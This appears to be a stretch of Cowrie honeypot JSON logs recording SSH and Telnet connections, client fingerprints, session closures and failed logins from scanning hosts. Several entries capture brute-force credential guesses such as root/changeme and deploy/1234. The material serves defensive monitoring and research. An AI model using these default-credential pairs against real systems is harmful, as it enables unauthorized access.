{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:06.981860Z","src_ip":"176.65.139.103","session":"a26830a73819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:07.339695Z","src_ip":"176.65.139.103","session":"a26830a73819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96749210357666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:07.374679Z","src_ip":"114.23.51.89","session":"ab799fd925ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56285047531128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:07.982200Z","src_ip":"185.207.250.135","session":"229eac24ae6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673872470855713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:08.162829Z","src_ip":"185.207.250.135","session":"22e2fb5ea4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:08.439400Z","src_ip":"176.65.139.103","session":"a26830a73819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47520,"dst_ip":"159.203.135.109","dst_port":23,"session":"348ce5e4300b","protocol":"telnet","message":"New connection: 209.159.146.115:47520 (159.203.135.109:23) [session: 348ce5e4300b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:08.739677Z"}
{"eventid":"cowrie.session.closed","duration":35.49560236930847,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:08.836775Z","src_ip":"23.254.167.244","session":"e6c22a9d1d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":60804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccbbae70ba2c","protocol":"ssh","message":"New connection: 20.244.18.126:60804 (10.17.0.5:22) [session: ccbbae70ba2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:09.327150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:09.332382Z","src_ip":"20.244.18.126","session":"ccbbae70ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44986,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6407a2bf73","protocol":"telnet","message":"New connection: 23.254.167.244:44986 (159.203.135.109:23) [session: ea6407a2bf73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:09.400948Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":50162,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7a80675b9d","protocol":"telnet","message":"New connection: 5.189.169.71:50162 (10.17.0.5:23) [session: 2b7a80675b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:09.447179Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:09.527231Z","src_ip":"20.244.18.126","session":"ccbbae70ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63328218460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:09.712691Z","src_ip":"114.23.51.89","session":"aa5ce9f8f8d1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456Kk","message":"login attempt [ubuntu/123456Kk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:10.370197Z","src_ip":"20.244.18.126","session":"ccbbae70ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:11.568220Z","src_ip":"20.244.18.126","session":"ccbbae70ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.438141345977783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:11.774810Z","src_ip":"185.207.250.135","session":"cfe1a6a410a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770262718200684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:12.089534Z","src_ip":"5.189.169.71","session":"f2b58a4bf19e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":40474,"dst_ip":"159.203.135.109","dst_port":23,"session":"e940e723d8e1","protocol":"telnet","message":"New connection: 185.207.250.135:40474 (159.203.135.109:23) [session: e940e723d8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:12.738889Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60040,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb6f70c3ddf9","protocol":"ssh","message":"New connection: 176.65.139.103:60040 (10.17.0.5:22) [session: fb6f70c3ddf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:13.005036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:13.009614Z","src_ip":"176.65.139.103","session":"fb6f70c3ddf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61344838142395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:13.071997Z","src_ip":"5.189.169.71","session":"5e141a1dd5bc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:13.091583Z","src_ip":"176.65.139.103","session":"fb6f70c3ddf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:13.382439Z","src_ip":"176.65.139.103","session":"fb6f70c3ddf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:14.474846Z","src_ip":"176.65.139.103","session":"fb6f70c3ddf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.194499254226685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:14.715592Z","src_ip":"114.23.51.89","session":"0ca8053c4a7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3474383354187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:15.077554Z","src_ip":"5.189.169.71","session":"b0fb0603b3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":50178,"dst_ip":"10.17.0.5","dst_port":23,"session":"eddbcaef56b7","protocol":"telnet","message":"New connection: 5.189.169.71:50178 (10.17.0.5:23) [session: eddbcaef56b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:15.363302Z"}
{"eventid":"cowrie.session.closed","duration":38.37306070327759,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:16.497882Z","src_ip":"23.254.167.244","session":"ca12d2ba38f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53326,"dst_ip":"159.203.135.109","dst_port":23,"session":"178d54f4b10d","protocol":"telnet","message":"New connection: 23.254.167.244:53326 (159.203.135.109:23) [session: 178d54f4b10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:16.534704Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59680,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa2e5f5a3cd","protocol":"telnet","message":"New connection: 5.189.169.71:59680 (10.17.0.5:23) [session: 1fa2e5f5a3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:18.059507Z"}
{"eventid":"cowrie.session.closed","duration":31.004167795181274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:18.837169Z","src_ip":"114.23.51.89","session":"9a30a6cfc357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60044,"dst_ip":"10.17.0.5","dst_port":22,"session":"8272ebcc0500","protocol":"ssh","message":"New connection: 176.65.139.103:60044 (10.17.0.5:22) [session: 8272ebcc0500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:19.460669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:19.464063Z","src_ip":"176.65.139.103","session":"8272ebcc0500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:19.548998Z","src_ip":"176.65.139.103","session":"8272ebcc0500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"726d2d63aac3","protocol":"telnet","message":"New connection: 23.254.167.244:54000 (159.203.135.109:23) [session: 726d2d63aac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:19.789185Z"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:19.814288Z","src_ip":"176.65.139.103","session":"8272ebcc0500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.55111861228943,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:20.011630Z","src_ip":"23.254.167.244","session":"0613b069e64c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448469638824463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:20.373932Z","src_ip":"5.189.169.71","session":"45820f914cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:20.906999Z","src_ip":"176.65.139.103","session":"8272ebcc0500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59690,"dst_ip":"10.17.0.5","dst_port":23,"session":"81764ea8a42a","protocol":"telnet","message":"New connection: 5.189.169.71:59690 (10.17.0.5:23) [session: 81764ea8a42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:21.191922Z"}
{"eventid":"cowrie.session.closed","duration":34.63015675544739,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:22.608654Z","src_ip":"23.254.167.244","session":"3087e4897627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36096,"dst_ip":"159.203.135.109","dst_port":23,"session":"de810e40e6e5","protocol":"telnet","message":"New connection: 23.254.167.244:36096 (159.203.135.109:23) [session: de810e40e6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:23.957559Z"}
{"eventid":"cowrie.session.closed","duration":30.40738034248352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.111923Z","src_ip":"5.189.169.71","session":"e6ef4fe7815c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.956931829452515,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.280528Z","src_ip":"23.254.167.244","session":"c358be8a3f77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59706,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3246000a4fd","protocol":"telnet","message":"New connection: 5.189.169.71:59706 (10.17.0.5:23) [session: a3246000a4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.374659Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59710,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae22475d3852","protocol":"telnet","message":"New connection: 5.189.169.71:59710 (10.17.0.5:23) [session: ae22475d3852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.549498Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59178,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd07c97cfc7","protocol":"ssh","message":"New connection: 159.203.92.129:59178 (159.203.135.109:22) [session: ccd07c97cfc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.663671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.668632Z","src_ip":"159.203.92.129","session":"ccd07c97cfc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.695281Z","src_ip":"159.203.92.129","session":"ccd07c97cfc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"12345","message":"login attempt [anna/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.707720Z","src_ip":"159.203.92.129","session":"ccd07c97cfc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.25776147842407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:24.786885Z","src_ip":"23.254.167.244","session":"1b6ad1099ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38136,"dst_ip":"159.203.135.109","dst_port":23,"session":"27097c16ba0d","protocol":"telnet","message":"New connection: 23.254.167.244:38136 (159.203.135.109:23) [session: 27097c16ba0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.557517Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52530,"dst_ip":"10.17.0.5","dst_port":22,"session":"d23e49adee04","protocol":"ssh","message":"New connection: 176.65.139.103:52530 (10.17.0.5:22) [session: d23e49adee04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.585241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.590341Z","src_ip":"176.65.139.103","session":"d23e49adee04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.713780Z","src_ip":"159.203.92.129","session":"ccd07c97cfc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59718,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0e0cee4268","protocol":"telnet","message":"New connection: 5.189.169.71:59718 (10.17.0.5:23) [session: cf0e0cee4268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.790125Z"}
